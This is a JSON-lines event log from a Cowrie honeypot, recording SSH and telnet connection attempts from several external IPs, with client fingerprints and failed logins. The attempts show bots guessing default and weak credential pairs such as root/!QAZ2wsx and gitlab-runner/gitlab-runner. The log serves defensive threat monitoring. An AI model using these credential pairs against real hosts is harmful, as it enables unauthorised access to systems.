{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:46.159587Z","src_ip":"45.153.34.112","session":"652455c80b7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:46.404850Z","src_ip":"45.153.34.112","session":"652455c80b7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:47.490074Z","src_ip":"45.153.34.112","session":"652455c80b7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":49804,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad25b58e2d4e","protocol":"ssh","message":"New connection: 81.9.145.130:49804 (10.17.0.5:22) [session: ad25b58e2d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:49.862526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:49.871527Z","src_ip":"81.9.145.130","session":"ad25b58e2d4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51104,"dst_ip":"10.17.0.5","dst_port":22,"session":"9124fbd717ae","protocol":"ssh","message":"New connection: 45.153.34.112:51104 (10.17.0.5:22) [session: 9124fbd717ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:49.885115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:49.890293Z","src_ip":"45.153.34.112","session":"9124fbd717ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:49.972638Z","src_ip":"45.153.34.112","session":"9124fbd717ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:49.983870Z","src_ip":"81.9.145.130","session":"ad25b58e2d4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123456","message":"login attempt [ubuntu/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:50.219265Z","src_ip":"45.153.34.112","session":"9124fbd717ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"restricted","message":"login attempt [root/restricted] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:50.472429Z","src_ip":"81.9.145.130","session":"ad25b58e2d4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47690,"dst_ip":"10.17.0.5","dst_port":23,"session":"aab03f6397aa","protocol":"telnet","message":"New connection: 192.119.13.58:47690 (10.17.0.5:23) [session: aab03f6397aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:50.898022Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:51.303991Z","src_ip":"45.153.34.112","session":"9124fbd717ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:51.648365Z","src_ip":"81.9.145.130","session":"ad25b58e2d4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.70453953742981,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:53.455751Z","src_ip":"192.119.13.58","session":"41be4c74f25a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51116,"dst_ip":"10.17.0.5","dst_port":22,"session":"d69bea235f38","protocol":"ssh","message":"New connection: 45.153.34.112:51116 (10.17.0.5:22) [session: d69bea235f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:53.665799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:53.679950Z","src_ip":"45.153.34.112","session":"d69bea235f38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:53.762321Z","src_ip":"45.153.34.112","session":"d69bea235f38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:54.014340Z","src_ip":"45.153.34.112","session":"d69bea235f38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:55.109787Z","src_ip":"45.153.34.112","session":"d69bea235f38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44020,"dst_ip":"10.17.0.5","dst_port":23,"session":"40a8d84cc3dc","protocol":"telnet","message":"New connection: 192.119.13.58:44020 (10.17.0.5:23) [session: 40a8d84cc3dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:55.806518Z"}
{"eventid":"cowrie.session.closed","duration":0.004747867584228516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:55.811131Z","src_ip":"192.119.13.58","session":"40a8d84cc3dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":46814,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a39da8edca3","protocol":"ssh","message":"New connection: 186.68.83.105:46814 (10.17.0.5:22) [session: 1a39da8edca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:57.381599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:57.386107Z","src_ip":"186.68.83.105","session":"1a39da8edca3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51118,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc963a3f985c","protocol":"ssh","message":"New connection: 45.153.34.112:51118 (10.17.0.5:22) [session: fc963a3f985c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:57.471703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:57.476422Z","src_ip":"45.153.34.112","session":"fc963a3f985c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:57.479793Z","src_ip":"186.68.83.105","session":"1a39da8edca3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:57.561532Z","src_ip":"45.153.34.112","session":"fc963a3f985c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:57.817036Z","src_ip":"45.153.34.112","session":"fc963a3f985c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:57.870492Z","src_ip":"186.68.83.105","session":"1a39da8edca3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:58.904928Z","src_ip":"45.153.34.112","session":"fc963a3f985c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:58.963446Z","src_ip":"186.68.83.105","session":"1a39da8edca3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.551984786987305,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:59.560770Z","src_ip":"192.119.13.58","session":"2ef7edddeaa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.759092569351196,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:00.397526Z","src_ip":"192.119.13.58","session":"fb2e860eb773","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":48658,"dst_ip":"10.17.0.5","dst_port":22,"session":"095cd5ede253","protocol":"ssh","message":"New connection: 45.153.34.112:48658 (10.17.0.5:22) [session: 095cd5ede253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:01.197659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:01.202715Z","src_ip":"45.153.34.112","session":"095cd5ede253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:01.285456Z","src_ip":"45.153.34.112","session":"095cd5ede253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:01.652905Z","src_ip":"45.153.34.112","session":"095cd5ede253","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:02.738579Z","src_ip":"45.153.34.112","session":"095cd5ede253","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.80525541305542,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:03.182638Z","src_ip":"192.119.13.58","session":"155846a4fc0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":48660,"dst_ip":"10.17.0.5","dst_port":22,"session":"ece01fc266e3","protocol":"ssh","message":"New connection: 45.153.34.112:48660 (10.17.0.5:22) [session: ece01fc266e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:04.829285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:04.834900Z","src_ip":"45.153.34.112","session":"ece01fc266e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:04.917599Z","src_ip":"45.153.34.112","session":"ece01fc266e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:05.167674Z","src_ip":"45.153.34.112","session":"ece01fc266e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:06.323505Z","src_ip":"45.153.34.112","session":"ece01fc266e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.545347690582275,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:06.772985Z","src_ip":"192.119.13.58","session":"3acdd067ca1b","protocol":"telnet"}
